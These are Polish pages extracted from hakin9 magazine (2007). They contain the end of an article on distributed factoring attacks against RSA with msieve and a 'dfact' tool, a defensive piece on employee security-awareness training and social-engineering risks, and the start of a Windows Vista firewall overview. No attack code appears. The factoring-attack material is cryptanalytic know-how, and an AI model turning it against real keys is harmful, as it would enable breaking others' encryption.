nie oblicza relacje dzięki msieve, oraz 
odsyła je do serwera w celu dalszego 
przetwarzania.

Zobaczmy,  jak  serwer  obsługu-

je klientów (Listing 5). Każdy klient, 
proszący o listę relacji, jest obsługi-
wany przez osobny proces 

process _

client()

.

Kolejna  osobna  procedura  zaj-

muje się przetwarzaniem relacji, któ-
re  klient  wysłał  w  określonym  inter-
wale czasowym (Listing 6).

Przykładowa aplikacja pozwala na 

sfaktoryzowanie liczby przy użyciu kil-
ku maszyn. Mimo, że może być ona 
używana przez Internet, brak autenty-
kacji i/lub mechanizmów szyfrujących 
powoduje,  że  nie  jest  zalecana.  Do-
brym  usprawnieniem,  które  poleca-
my czytelnikom jako ćwiczenie, może 
być wprowadzenie SSL, podniesienie 

Wyzwanie Faktoryzowania RSA (The RSA Factoring 

Challenge)

•   RSA-704 (30.000$) – http://www.rsasecurity.com/rsalabs/

node.asp?id=2093#RSA704;

•   RSA-768 (50.000$) – http://www.rsasecurity.com/rsalabs/

node.asp?id=2093#RSA768;

•   RSA-896 (75.000$) – http://www.rsasecurity.com/rsalabs/

node.asp?id=2093#RSA896;

•   RSA-1024 (100.000$) – http://www.rsasecurity.com/rsalabs/node.asp?id=2093#

RSA1024;

•   RSA-1536 (150.000$) – http://www.rsasecurity.com/rsalabs/node.asp?id=2093#

RSA1536;

W Sieci

•   Faktoryzacja wielkich liczb – http://factorizacion.blogspot.com;
•   DFACT – http://daniellerch.com/sources/projects/dfact/dfact-hakin9.tar.gz;
•   Grupa Yahoo! traktująca o GGNFS – http://www.groups.yahoo.com/group/ggnfs;
•   MSIEVE – Faktoryzator – http://www.boo.net/~jasonp/qs.html;
•   OpenSSL – http://www.openssl.org;
•   Algorytm Shor – http://es.wikipedia.org/wiki/Algoritmo_de_Shor;
•   Koszt faktoryzowania RSA 1024 – http://www.wisdom.weizmann.ac.il/%7Etromer/

papers/cbtwirl.pdf;

background image

Atak faktoryzacyjny na RSA

poziomu zabezpieczeń, podnoszenie 
wydajności itp...

Wspomnieliśmy  wcześniej,  że 

GNFS jest bardziej wydajne niż MPQS 
przy  faktoryzowaniu  liczb  mających 
powyżej  110  cyfr.  Na  obecną  chwilę, 
wydaje  się,  że  nie  ma  dobrej  imple-
mentacji o otwartym kodzie, która po-
zwalałaby  na  rozproszone  faktoryzo-
wanie przy pomocy GNFS, jak to zrobi-
liśmy przy pomocy msieve (QS). Autor 
msieve zapowiada jednak wprowadze-
nie obsługi GNFS. Jest dopiero w po-

łowie  implementowania  tego  rozwią-
zania,  jednak  w  niedalekiej  przyszło-
ści  możemy  spodziewać  się  dobrego 
narzędzia. Jeśli tak się stanie, mody-
fikacja naszego przykładowego narzę-
dzia (dfact) powinna być prosta, a wte-
dy faktoryzacja rozproszona za pomo-
cą GNFS stanie się możliwa. GGNFS 
posiada  możliwość  wykorzystania  kil-
ku  maszyn  w  celu  przeprowadzenia 
faktoryzacji.  Może  to  być  przeprowa-
dzone  za  pomocą  skryptu  factLat.pl
przedstawionego  wcześniej,  jednak 

O Autorze

Daniel Lerch Hostalot, inżynier aplikacji C/C+ na platformach GNU/Linux, magister 
w Zabezpieczeniach Sieci Bezprzewodowych z Cisco Networking Academy Program 
(CCNA), Inżynier Techniczny systemów IT uhonorowany przez Uniwersytet Oberta w 
Catalonii
 (UOC)  obecnie pracuje w sektorze telekomunikacji. Programuje w językach: 
C/C++, ShellScript, Java, Perl, PHP (program modułów C).

kontakt z autorem: dlerch@gmail.com, url: http://daniellerch.com

jest to wersja bardzo niestabilna, w do-
datku działająca jedynie w sieci LAN.

Konkluzja

Liczba, która jest niemożliwa do sfak-
toryzowania  dzisiaj,  może  być  fakto-
ryzowalna  jutro  w  ciągu  kilku  minut. 
Wszystko  zależy  od  innowacyjnych 
pomysłów i nowych podejść do proble-
mu. 20 lat prac przy algorytmach RSA 
obrazuje nam, jak bezpieczny i trudny 
do złamania jest ten sposób zabezpie-
czenia.

Warto  wspomnieć,  że  w  niedale-

kiej  przyszłości,  tworzone  kompute-
ry kwantowe będą stanowiły zagroże-
nie  dla  tego  kryptosystemu.  Opraco-
wano  algorytm  Shor,  który  pokazuje 
rozwiązanie problemu z użyciem zło-
żonych wielomianów. Jego implemen-
tacja  powinna  pozwolić  na  faktoryzo-
wanie  kluczy  w  rozsądnym  zakresie 
czasowym. l

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 4/2007

36

Obrona

Z

aawansowane  zabezpieczenia  sprzę-
towe,  jak  i  programowe,  wykorzysty-
wane  w  firmowych  sieciach  kompute-

rowych  w  dzisiejszych  czasach,  nie  rozwią-
zują w pełni problemu „wycieku” wrażliwych 
danych z naszej firmy. Także wdrożona w or-
ganizacji  polityka  bezpieczeństwa  również 
często  niewystarczająco  minimalizuje  to  ry-
zyko. Powodów nieskuteczności polityki bez-
pieczeństwa jest wiele,  często widnieje ona 
tylko na papierze i leży na półce, albo nie jest 
odpowiednio  wspierana  przez  kadrę  zarzą-
dzającą.  W  głównej  mierze  jednak  ważnym 
powodem  tego  jest  nieodpowiednia  polity-
ka  uświadamiania  pracowników  (użytkowni-
ków) firmy.

Przeglądając  raporty  renomowanych  firm 

badających  poziom  bezpieczeństwa  w  róż-
nych  przedsiębiorstwach  w  Polsce  i  na  świe-
cie zauważyć można, że największe zagroże-
nie istnieje wewnątrz przedsiębiorstwa, a więc 
po stronie personelu. Zagrożenie to można po-
dzielić na dwie grupy: związane z nieumyślnym 
(nieświadomym),  oraz  celowym  działaniem 
pracowników na szkodę firmy.

Budowa  świadomości  zagrożeń  i  potrzeby 

ochrony  firmowych  danych  powinna  dotyczyć 

każdego pracownika, bez względu na stanowi-
sko jakie pełni. Nie wolno zapomnieć tu o ad-
ministratorach sieci i kadrze zarządzającej. Nie 
bez powodu istnieje opinia, że aby zdobyć istot-
ne informacje – tajemnice firmy - wystarczy do-
stać się do domowego komputera lub laptopa 
Dyrektora.

W  większości  przypadków  szkolenie  ka-

dry  zarządzającej  jest  największym  pro-
blemem,  ale  i  największym  wyzwaniem  dla 
osoby  odpowiedzialnej  za  bezpieczeństwo 

Budowanie świadomości 

usprawnia poziom 

bezpieczeństwa

Adam Kuczyński

stopień trudności

Zabezpieczenia techniczne i proceduralne są bardzo istotne, ale 

dopiero w połączeniu z odpowiednim przeszkoleniem i wysoką 

świadomością użytkowników znacznie usprawnia się poziom 

bezpieczeństwa informacyjnego w przedsiębiorstwie.

Z artykułu dowiesz się...

•   istota  budowania  świadomości  zagrożeń  i 

ochrony informacji

•   techniki budowania świadomości
•   sposoby ochrony przed manipulacją

Powinieneś wiedzieć...

•   powinieneś znać techniki bezpieczeństwa infor-

macyjnego

•   co to jest polityka bezpieczeństwa
•   co  to  jest  system  zarządzania  bezpieczeń-

stwem informacji

background image

Świadomość zagrożeń i potrzeby ochrony informacji.

hakin9 Nr 5/2007

www.hakin9.org

37

(CSO).  Kadra  zarządzająca  jest 
kluczowym elementem bezpiecznej 
organizacji.  Od  niej  zależy  bardzo 
wiele.  Powinna  aktywnie  uczestni-
czyć w procesie wdrażania polityki 
bezpieczeństwa,  określać  jej  cele, 
pokazać  zaangażowanie,  nie  za-
pominać  o  bezpieczeństwie  przy 
planowaniu  budżetu.  Uczestniczyć 
powinna  również  w  programie  bu-
dowania  świadomości,  wspierając 
CSO.  Dobra  polityka  uświadamia-
nia  musi  opierać  się  na  wsparciu 
kadry zarządzającej, gwarantuje to 
bardzo  dużą  skuteczność,  zwłasz-
cza  wtedy,  gdy  CSO  nie  ma  wy-
robionej  jeszcze  odpowiednio  do-
brej  pozycji  w  organizacji.  To  jest 
pierwsze  i  kluczowe  zadanie  CSO 
przy  planowaniu  i  wdrażaniu  po-
lityki  uświadamiania  personelu; 
odpowiednio  nastawić,  uświado-
mić  i  uzyskać  pełne  wsparcie  ka-
dry  zarządzającej.  Nie  jest  to  za-
danie proste, szczególnie jeśli cho-
dzi o tematy związane z wydatkami 
na bezpieczeństwo, ale jeśli się to 
uda, to już połowa sukcesu.

Budowa  świadomości  pracow-

ników  powinna  opierać  się  na  po-
dejściu procesowym, składającym 
się  z  cyklicznych  szkoleń  i  ćwi-
czeń  dla  użytkowników,  uwzględ-
niając za każdym razem nowe za-
grożenia,  sposoby  ataków  osób 
niepowołanych  i  sposoby  obro-
ny.  W  efekcie,  reakcja  użytkowni-
ka na zdarzenia zagrażające bez-
pieczeństwu powinna być automa-
tyczna-  wytrenowana,  analogicz-
nie  do  zawodników  sportowych. 
Sportowcy  w  trakcie  treningu  re-
gularnie  powtarzają  wielokrot-
nie  te  same  ćwiczenia,  aby  póź-
niej  wykonywać  je  automatycznie 
i  prawidłowo.  Na  podobnej  zasa-
dzie  powinna  opierać  się  polity-
ka  uświadamiania  personelu,  nie-
zbędne są więc regularne szkole-
nia, dzięki którym użytkownik uczy 
się.  Poznaje  on  polityki,  procedu-
ry  bezpieczeństwa  oraz  dowiadu-
je  się,  jakie  istnieją  zagrożenia  z 
zewnątrz i jak sobie z nimi radzić. 
Ważne  jest,  aby  każdy  z  pracow-
ników wiedział, że w każdej chwili 
może stać się ofiarą ataku.

Cykl  szkoleń  powinien  rozpo-

czynać  się  już  przy  zatrudnieniu 
pracownika.  Należy  przy  tym  jed-
nak pamiętać, że pełne szkolenie z 
obowiązujących zasad bezpieczeń-
stwa  w  pierwszych  dniach  pracy 
użytkownika  jest  skuteczne  mak-
symalnie  pół  roku.  Po  tym  czasie 
bardzo  często  pada  pytanie:  a  co 
to jest ta polityka bezpieczeństwa? 
Natomiast po upływie roku ten sam 
użytkownik nie pamięta, czy w ogó-
le uczestniczył w tego typu szkole-
niu.  Jest  to  zauważalne  szczegól-
nie  w  dużych  przedsiębiorstwach. 
Wracając  do  analogii  sportowców, 
gdzie mówi się, że treningi są sku-
teczne  jeżeli  są  regularne,  podob-
nie jest i tutaj, a więc szkolenia po-
winny odbywać się cyklicznie, ma-
jąc na uwadze fakt, aby czas mię-
dzy  jednym  szkoleniem  a  drugim 
nie był zbyt długi. Jaki to czas? Za-
leżny  od  analizy  ryzyka  dla  dane-
go  stanowiska  pracy,  czy  samego 
przedsiębiorstwa. Jednak nie mniej 
niż dwa razy w roku.

Program  szkolenia  powinien 

omawiać  wszystkie  obowiązują-
ce  zasady  i  procedury  bezpieczeń-
stwa oraz zagrożenia, na które może 
być narażony użytkownik. Wszystko 
to poparte przykładami konkretnych 
zdarzeń  z  pokazaniem,  w  jaki  spo-
sób powinno się na nie reagować. 

Należy  zwrócić  uwagę  na  to, 

że  użytkownicy  pracując  na  co 
dzień  na  pewnych  danych  nierzad-
ko  uważają  je  za  zwykłe,  nikomu 
z  zewnątrz  niepotrzebne,  informa-
cje.  A  w  rzeczywistości  mogą  być 
to dane bardzo cenne dla konkuren-
cji lub, co gorsza, informacje, które 
są prawnie chronione np. dane oso-
bowe.  Wniosek  nasuwa  się  jeden. 
Każdy pracownik powinien wiedzieć 
dlaczego  oraz  w  jaki  sposób  musi 
chronić  informacje,  do  których  ma 
dostęp.

Bardzo  ważne  jest  zidentyfi-

kowanie  dla  poszczególnych  grup 
pracowników  wszystkich  zagrożeń 
i  wszelkich  możliwych  sposobów 
ataków w celu pozyskania naszych 
informacji  i  przedstawienie  ich  na 
szkoleniach.  Omówienie  konkret-
nych przykładów i znalezienie odpo-
wiedniej obrony znacznie dłużej po-
zostanie w świadomości użytkowni-
ków.  Dobrym  przykładem  pokazu-
jącym, jakie mogą być skutki złego 
uczenia personelu odpowiednich re-
akcji jest firma, która korzysta z out-
sourcingu  środowiska  IT.  Z  pozo-
ru  wydaje  się,  że  zagrożenia  zwią-
zane z bezpieczeństwem IT są nie-
wielkie. Skoro cała infrastruktura in-
formatyczna została oddana w ręce 
wyspecjalizowanej  firmy  zewnętrz-
nej,  która  zapewnia  wysokie  bez-

Rysunek 1. 

Człowiek – najsłabsze ogniwo

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

38

pieczeństwo  i  niezawodność  sieci 
informatycznej  i  systemów.  A  więc 
ryzyko  zostało  przeniesione  na  fir-
mę  zewnętrzną.  Zakładamy  przy 
tym,  że  każdy  pracownik  zna  na-
zwę  firmy,  która  obsługuje  jego  or-
ganizację  od  strony  IT.  Z  doświad-
czenia  można  powiedzieć,  że  ok. 
80% użytkowników bez wahania od-
powie  na  każde  pytanie,  włączając 
w  to  podanie  swojego  hasła,  oso-
bie,  która  zadzwoni  i  przedstawi 
się  jako  pracownik  firmy  świadczą-
cej tą usługę i właśnie próbuje usu-
nąć awarię. 

Innym  przykładem,  kiedy  użyt-

kownicy zareagują podobnie, a więc 
nie  zweryfikują  i  nie  sprawdzą,  czy 
osoba jest właśnie tą osobą, za któ-
rą się podaje jest sytuacja, kiedy to 
osoba atakująca podaje się za funk-
cjonariusza policji, czy choćby za ko-
mornika  sądowego.  W  takim  przy-
padku  atakującemu  zależeć  może 
w  szczególności  na  danych  osobo-
wych, a procent użytkowników, któ-
rzy  udostępnią  chronione  dane  bę-
dzie podobny. 

Takich przykładów można mno-

żyć  bardzo  wiele.  Wszystkie  one 
powinny  być  omawiane  na  szkole-
niach. Każdy użytkownik może bar-
dzo dobrze wiedzieć, co mu, wolno 
a czego nie, zgodnie z polityką bez-

pieczeństwa,  ale  zareagować  na 
dane zdarzenie może zupełnie ina-
czej. Odpowiednia reakcja w każdej 
sytuacji  niestandardowej,  budzącej 
wątpliwości,  musi  być  zatem  świa-
doma i wyuczona. Omawianie kon-
kretnych  zdarzeń  nauczy  też  użyt-
kownika  identyfikować  te  niestan-
dardowe  sytuacje,  które  potencjal-
nie  mogą  być  szkodliwe  dla  firmy. 
Zauważalny  jest  fakt,  że  w  przy-
padku,  kiedy  użytkownik  ma  świa-
domość,  jak  ważne  są  dane,  które 
przetwarza i wie, że musi je chronić, 
to przy wystąpieniu zdarzenia, któ-
re według jego oceny może być pró-
bą  ataku,  a  nie  wie  jak  ma  się  za-
chować, w pierwszej kolejności, za-
nim cokolwiek zrobi, zgłosi się o po-
moc do CSO.

Inaczej jest wówczas, kiedy mu-

simy  chronić  firmowe  tajemnice 
przed celowym udostępnieniem nie-
powołanym osobom. Występowanie 
takich zdarzeń jest tak samo praw-
dopodobne  jak  zdarzenia  opisywa-
ne wcześniej. Bardzo często słyszy-
my  o  przypadkach,  kiedy  to  firma 
konkurencyjna  podkupiła  pracow-
nika,  który  udostępnia  na  życzenie 
odpowiednie  bazy  danych  lub  ści-
śle  strzeżone  receptury.  Innym  za-
grożeniem tego typu może być nie-
zadowolony  lub  właśnie  zwolnio-

ny  z  pracy  pracownik,  który  w  ra-
mach zemsty modyfikuje, albo usu-
wa wrażliwe dane.

Budowanie świadomości w tym 

wypadku  musi  koncentrować  się 
na  wiedzy  personelu  dotyczącej 
konsekwencji dyscyplinarnych oraz 
prawnych w wyniku naruszenia za-
sad zarządzania bezpieczeństwem 
informacyjnym. Organizacje próbu-
ją się zabezpieczyć przed celowym 
działaniem użytkownika na szkodę 
firmy na różne sposoby. Wykorzy-
stują  między  innymi  oprogramo-
wanie  monitorujące  wszystkie  ko-
piowane  pliki  na  różnego  rodza-
ju  nośniki  zewnętrzne,  czy  naka-
zują  podpisanie  przez  pracownika 
zobowiązania  do  zachowania  ta-
jemnicy  służbowej.  Stosują  zasa-
dy  poufności,  czyli  pracownik  ma 
dostęp tylko do danych do których 
jest upoważniony, oraz rozliczalno-
ści.  Regularne  szkolenia  mają  na 
celu  także  podtrzymanie  świado-
mości. W związku z tym CSO po-
winien tak ułożyć program szkole-
nia,  żeby  pracownicy  mogli  sobie 
odświerzyć  to,  co  już  znają.  Przy 
tym nie mogą się nudzić, ponieważ 
może to doprowadzić do zlekcewa-
żenia  problemów  bezpieczeństwa. 
Jeśli chodzi o szkolenie kadry za-
rządzającej  może  to  skutkować 
tym, że na następne szkolenie nikt 
z kierownictwa nie znajdzie czasu. 
Program  nie  może  być  jednakowy 
dla  wszystkich.  Powinien  być  inny 
dla  kierownictwa,  inny  dla  admini-
stratorów sieci, informatyków, inny 
dla kluczowych użytkowników apli-
kacji,  a  jeszcze  inny  dla  pracow-
ników  portierni  czy  osób  sprząta-
jących.

Podtrzymywanie 

świadomości 

poza  formą  spotkań  szkoleniowych 
można dodatkowo realizować na inne, 
również skuteczne sposoby. Dobrym 
rozwiązaniem jest umieszczanie w fir-
mowych  biuletynach  lub  intranecie, 
wewnętrznym  portalu  firmy,  wszel-
kich informacji związanych z bezpie-
czeństwem  informacyjnym,  np.  opisy 
prób włamania się do sieci, jeśli takie 
miało miejsce. W jaki sposób atakują-
cy  chcieli  wykraść  informacje,  jak  to 
udaremniono, kto się do tego przyczy-

Rysunek 2. 

Świadomość i technologia

background image

Świadomość zagrożeń i potrzeby ochrony informacji.

nił itp. Serwis taki powinien być dodat-
kowo wsparty przez kadrę zarządza-
jącą w postaci artykułów pochwalnych 
dla pracowników, którzy odpowiednio 
zareagowali  na  zdarzenie.  Pozosta-
li pracownicy z ciekawością przeczy-
tają kto, i za co został wyróżniony, czy 
nagrodzony. Takie zdarzenia powinny 
być nagłaśniane.

Innym sposobem podtrzymywania 

świadomości może być wykorzystanie 
do tego celu systemu e-learning, - o 
ile jest on w danej organizacji wdrożo-
ny – poprzez tworzenie szkoleń koń-
czących się egzaminem. W tym przy-
padku każdy użytkownik uczestniczy 
w  szkoleniu  w  dowolnym  dla  siebie 
czasie, może je w każdym momencie 
powtórzyć i na koniec zdać egzamin, 
co jest dobrym sprawdzianem wiedzy. 
Taki system jest często stosowany w 
dużych przedsiębiorstwach. W mniej-
szych natomiast CSO bardzo często 
posługuje  się  szkoleniami  indywidu-
alnymi. Polega to na spotkania z jed-

nym, lub małą grupką pracowników i 
rozmowach  na  temat  zasad  bezpie-
czeństwa  dotyczących  konkretnego 
stanowiska pracy.

Dużą  popularnością  cieszą  się 

projekcje filmów na temat bezpieczeń-
stwa. Często jest to frajda dla pracow-
ników siedzących wiele godzin przed 
komputerem.  Frajda,  ale  z  pożytecz-
nym  skutkiem.  Filmy  takie  pokazu-
ją konkretne zdarzenia, luki, sposoby 
działania  szpiegów  gospodarczych, 
socjotechników. Pracownik zauważa-
jąc  pewne  podobieństwa  charakte-
ru swojej pracy z tym, co zobaczył na 
filmie  szybko  zaczyna  zdawać  sobie 
sprawę, że atak może nastąpić w każ-
dym momencie i że ofiarą może być 
nawet on sam. Niezależnie od tego, 
jakie sposoby budowania świadomo-
ści CSO stosuje w każdym przypad-
ku,  choćby  niewielkie  wsparcie  od 
strony  kadry  zarządzającej  odgry-
wa bardzo dużą rolę. Nawet krótkie 
wystąpienie Dyrektora przed szkole-
niem zachęcające do udziału w nim 
od razu zmienia jego rangę.

Jak  widać  budowanie  świadomo-

ści  nie  jest  zadaniem  prostym.  Wy-
maga  od  CSO  dużych  zdolności  dy-
daktycznych  i  odpowiedniego  podej-
ścia  do  ludzi.  Musi  umieć  przekonać 
do siebie i do pojęcia bezpieczeństwa 
każdego bez wyjątku pracownika, a w 

szczególności kadrę zarządzającą. 

Aby  zbudowanie  odpowiedniej 

świadomości  personelu  było  możli-
we,  CSO  musi  również  swoją  wie-
dzę  nieustannie  poszerzać,  być  na 
bieżąco  z  zagadnieniami  związany-
mi z bezpieczeństwem, uczestniczyć 
w  szkoleniach,  konferencjach,  śle-
dzić fachową prasę.

Dobrze  jest,  jeśli  swoją  wiedzę 

potwierdza  renomowanymi  certyfi-
katami, co pomoże w budowaniu od-
powiedniej  pozycji  w  firmie.  Może 
być dzięki temu coraz lepiej postrze-
gany  w  środowisku  kierownictwa  i 
całego  personelu.  Zabezpieczenia 
techniczne i proceduralne są bardzo 
istotne  i  konieczne,  ale  dopiero  po-
łączone z odpowiednim przeszkole-
niem  i  wysoką  świadomością  użyt-
kowników  znacznie  usprawnia  się 
poziom  bezpieczeństwa  informacyj-
nego w przedsiębiorstwie.

Okazuje  się,  że  nie  bez  powodu 

człowieka  uważa  się  na  najsłabszy 
punkt w całym systemie zarządzania 
bezpieczeństwem w organizacji. Pro-
ces kształcenia użytkownika jest dłu-
gotrwały  i  wymaga  bardzo  wielkiego 
zaangażowania  ze  strony  CSO  i  ka-
dry  zarządzającej.  Czasami  wystar-
czy,  że  jeden  z  elementów  całej  po-
lityki  uświadamiania  nie  funkcjonuje 
odpowiednio, aby nie udało się osią-
gnąć zamierzonych celów. l

O autorze

Główny Specjalista ds. Bezpieczeństwa 
IT w jednej z Agencji Rządowych. Od 5 
lat zajmuje się zagadnieniami związany-
mi z bezpieczeństwem informacji.
Kontakt z autorem: kuczynski.a@gma-
il.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 4/2007

40

Obrona

C

zy jesteśmy w stanie przypomnieć so-
bie, jak wyglądała nasza praca z kom-
puterami    kilkanaście  lat  temu,  gdzie 

na rynku dominował system operacyjny DOS, 
OS/2 oraz Windows   3.0/3.1, a następnie po-
czątki  Windows  95?  Jak  wyglądała  dystry-
bucja  oprogramowania  oraz  jak  wyglądało 
bezpieczeństwo  naszych  komputerów,  o  ile 
w  ogóle  mogliśmy  mówić  o  ich  bezpieczeń-
stwie? Korzystaliśmy wówczas głównie z ha-
seł zakładanych na BIOS, a nasze aplikacji pi-
saliśmy  tak,  aby  zawierały  ekran  do  logowa-
nia.  Zagrożeń  zewnętrznych  w  zasadzie  nie 
było, ponieważ większość osób nie była pod-
łączona do Internetu i nikt poza nami nie miał 
dostępu do naszego komputera (pomijam sy-
tuacje,  kiedy  ktoś  fizycznie  siadał  przed  na-
szym  komputerem  w  pracy  czy  w  domu).  In-
ternet  jest  obecny  dzisiaj  w  każdej  dziedzi-
nie  naszego  życia  prywatnego  i  zawodowe-
go. Dzięki niemu mamy dostęp do różnorod-
nych  informacji,  aplikacji,  usług.  Internet  jest 
również jednym z największych zagrożeń bez-
pieczeństwa naszych komputerów. Ilość infor-
macji, która przepływa przez nasze kompute-
ry jest ogromna i jest to największe zagroże-
nie. Nie jesteśmy bowiem w stanie przeanali-

zować tych wszystkich informacji pod wzglę-
dem bezpieczeństwa. Dodatkowym ryzykiem 
jest fakt, że nasze komputery są podpięte do 
sieci prawie przez cały czas, a co za tym idzie 
narażone są na ataki z zewnątrz. Będąc na-
rażonym  na  różnego  rodzaju  włamania,  wi-
rusy, robaki i wszelkie inne zagrożenia liczy-
my na to, że system operacyjny będzie w sta-
nie nas obronić. Wiadome jest, że nasz sys-

Zapora systemu 

Windows Vista - a złudne 

bezpieczeństwo systemu

Artur Żarski

stopień trudności

Czym jest zapora w systemie operacyjnym i jakie ma podstawowe 

znaczenie? Artykuł ma na celu przedstawienie Windows Firewall 

w systemie operacyjnym Vista, odpowiedzieć na pytanie jakie 

są podstawowe komponenty oraz w jaki sposób zabrać się 

do zabezpieczeń naszego komputera przed niepowołanym 

dostępem.

Z artykułu dowiesz się...

•  artykuł ma na celu pokazanie konieczności ko-

rzystania z firewall’a na swoim komputerze oraz 
zagrożeń  wynikających  z  braku  jego  posiada-
nia, 

•  publikacja pokazuje co jest nowego w systemie 

bezpieczeństwa Vista

Co powinieneś wiedzieć...

•  znajomość  zasad  bezpieczeństwa  systemów 

operacyjnych w szczególności informacji o sys-
temach firewall, 

•  wiedza na temat protokołów komunikacyjnych, 

filtrów oraz reguł.

background image

Zapora systemu Windows Vista

hakin9 Nr 4/2007

www.hakin9.org

41

tem operacyjny nie będzie zawierał 
kompletu oprogramowania, np. pro-
gramu  antywirusowego,  ale  będzie 
za to w stanie odeprzeć podstawo-
we  ataki  z  sieci.  Jednym  z  najbar-
dziej powszechnych nieporozumień 
dotyczących  bezpieczeństwa  infor-
macji  jest  myśl,  że  systemy  i  apli-
kacje mogą być wykonane jako cał-
kowicie bezpieczne. Mogłoby to być 
prawdą,  gdybyśmy  mogli  usunąć 
element  ludzki,  ale  niestety  przy 
potencjalnych  błędach,  tak  w  pro-
gramowaniu,  jak  i  przy  działaniach 
użytkownika,  całkowicie  bezpiecz-
ny  system  będzie  nadal  narażony 
na  pewne  ryzyko.  W  dzisiejszym 
świecie  całkowicie  nierealistycz-
ne  jest  założenie,  że  jakikolwiek 
system  jest  całkowicie  bezpieczny. 
Wystarczająco  umotywowani  ha-
kerzy  zawsze  będą  szukać  sposo-
bów na ominięcie zabezpieczeń.  W 
przypadku  wykorzystywania  Inter-
netu  dodatkowo  myślimy  często  o 
tym, że naszym głównym i jedynym 
sprzymierzeńcem jest zapora (ang. 
firewall).  Łączenie  się  z  Internetem 
bez zapory firewall przypomina po-
zostawienie samochodu z kluczyka-
mi w stacyjce i otwartymi drzwiami i 
udanie się na zakupy. Można oczy-
wiście zrobić zakupy i wrócić, zanim 
ktoś to zauważy, ale równie dobrze 

ktoś  może  wykorzystać  nadarzają-
cą się okazję. W Internecie działają 
hakerzy, którzy za pomocą złośliwe-
go kodu, np. wirusów, robaków i ko-
ni trojańskich, próbują znaleźć nie-
zabezpieczone  komputery.  Zapora 
firewall  może  pomóc  w  zabezpie-
czeniu komputera przed tymi i inny-
mi  atakami  zagrażającymi  bezpie-
czeństwu danych. O to jakie są ro-
dzaje zapór:

•  filtrujące  -    monitorują  przepły-

wające przez nie pakiety siecio-
we i przepuszczają tylko te, któ-
re  są  zgodne  z  regułami  usta-
wionymi  na  danej  zaporze  (za-

pora  pracująca  dodatkowo  jako 
router).

•  oprogramowanie 

komputerów 

stacjonarnych  -  udostępnia  wy-
brane  porty  do  połączeń  "z  ze-
wnątrz"  monitorując  ruch,  udo-
stępnia  także  połączenia  na  ze-
wnątrz  komputera  wybranym 
usługom/programom. 

Często 

zintegrowane  z  ochroną  antywi-
rusową.

•  zapory  pośredniczące  (proxy) 

-  wykonujące  połączenie  z  ser-
werem  w  imieniu  użytkowni-
ka.  Przykładowo,  zamiast  uru-
chomienia  sesji  http  bezpośred-
nio do zdalnego serwera WWW, 
uruchamiana jest sesja z zaporą 
i  dopiero  stamtąd  uruchamiane 
jest połączenie z systemem zdal-
nym.  Cała  komunikacja  na  ser-
wer http przechodzi przez proxy, 
które może filtrować ruch.

Windows Firewall

W tym miejscu dochodzimy do sed-
na  tematu  –  przyjrzyjmy  się  zapo-
rze  ogniowej  w  systemie  Vista  oraz 
jej  ustawieniom.  Bezpieczeństwo  w 
systemie  Vista  jest  podstawowym 
elementem  wyróżniającym  ten  sys-
tem od jego poprzedników. W syste-
mie Vista firewall posiada dwa inter-
fejsy użytkownika. Pierwszy z nich to 
klasyczne okno konfiguracji przezna-
czone  dla  mniej  zaawansowanych 
użytkowników, bazujące na poprzed-
niej wersji zapory (Rysunek 1),

Drugi  natomiast  przeznaczony 

jest  do  szerokich  możliwości  konfi-

Rysunek 1. 

Interfejs zapory dla początkujących

Rysunek 2. 

Interfejs konfiguracji firewall dostępny poprzez MMC

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

42

guracji i kierowany do zaawansowa-
nych  użytkowników  systemu  (Rysu-
nek 2.).

Pierwszy  z  interfejsów  dostępny 

jest z Panelu Sterowania w opcjach 
bezpieczeństwa  (Security  Center), 
do  drugiego  natomiast  możemy  do-
stać  się  poprzez  konsolę  MMC,  lub 
też  poprzez  konsolę  Local  Security 
Policy dostępną w Panel Sterowania 
->  Narzędzia  Administracyjne.  Kon-
figuracja  jest  również  dostępna  po-
przez linię komend i polecenie netsh 
advfirewall.

Włączenie  konsoli  pozwoli  nam 

nie  tylko  na  konfigurację  Windows 
Firewall  dla  lokalnej  stacji,  ale  rów-
nież  na  konfigurację  zdalną  innych 
komputerów  poprzez  Group  Policy. 
Wszystkie  funkcje  Firewalla  są  zin-
tegrowane z ustawieniami IPSec (In-
ternet  Protocol  security),  redukując 
przez  to  możliwość  konfliktów  po-
między  dwoma  mechanizmami  za-
bezpieczeń.  Windows  Firewall  with 
Advanced  Security,  bo  tak  nazywa 
się w pełni nowy Windows Firewall, 
wspiera możliwość rozdzielenia pro-
fili,  gdy  komputer  jest  włączony  do 
domeny  lub  do  np.  sieci  publicznej. 
Nowa zapora wspiera dodatkowo ob-
sługę reguł dla Active Directory, ru-
chu  IP,  portów  IP,  ustawień  ICMP, 
ustawień IPSec oraz różnych innych 
specyficznych interfejsów i usług.

W  Tabeli  1.  znajduje  się  zesta-

wienie  najważniejszych  funkcjonal-
ności, poprawionych oraz nowo do-
danych.

W  Tabeli  1.  znajduje  się  zesta-

wienie  najważniejszych  poprawio-
nych funkcjonalności oraz nowo do-
danych.

Kolejność 

wykonywania reguł

Windows Firewall with Advanced Se-
curity  wspiera  następujące  typy  re-
guł:

•  Windows Service Hardening. 
•  Reguły  bezpieczeństwa  połą-

czeń.

•  Reguły autentykacji
•  Reguły blokujące
•  Reguły zezwalające
•  Reguły standardowe

Tabela 1. 

Zestawienie najważniejszych funkcjonalności Windows Firewall w 

systemie Vista

Funkcjonalność

Opis

Windows Service 
Hardening

Windows Service Hardening pomaga chro-
nić krytyczne usługi system Windows przed 
użyciem ich przez złośliwe oprogramowanie 
w systemie plików, rejestrach czy sieci. Jeśli 
firewall wykryje nienormalne zachowanie ja-
kieś usługi wtedy ją blokuje.Dodatkowo mo-
żemy określić, że dany serwis może zapi-
sywać tylko do okreslonego miejsca w sys-
temie plikó lub rejestrów opartych o Access 
Control Lists (ACL).

Granularne reguły 

Standardowo Windows Firewall jest włączo-
ny dla obu wchodzących i wychodzących 
połączeń. Standardowe polisy blokują więk-
szość połączeń przychodzących i pozwala-
ją na połączenia wychodzące. W przypad-
ku zaawansowanych ustawień możliwe jest 
dodatkowe definiowanie reguł dla połączeń 
przychodzących i wychodzących. Windows 
Firewall with Advanced Security dodatkowo 
wspiera filtrowanie dowolnej ilości protoko-
łów, gdy poprzednia wersja wspierała tylko 
filtrowanie UTP, TCP oraz ICMP.

Filtrowanie połączeń 
wychodzących

Windows Firewall pozwala na zarządzanie fil-
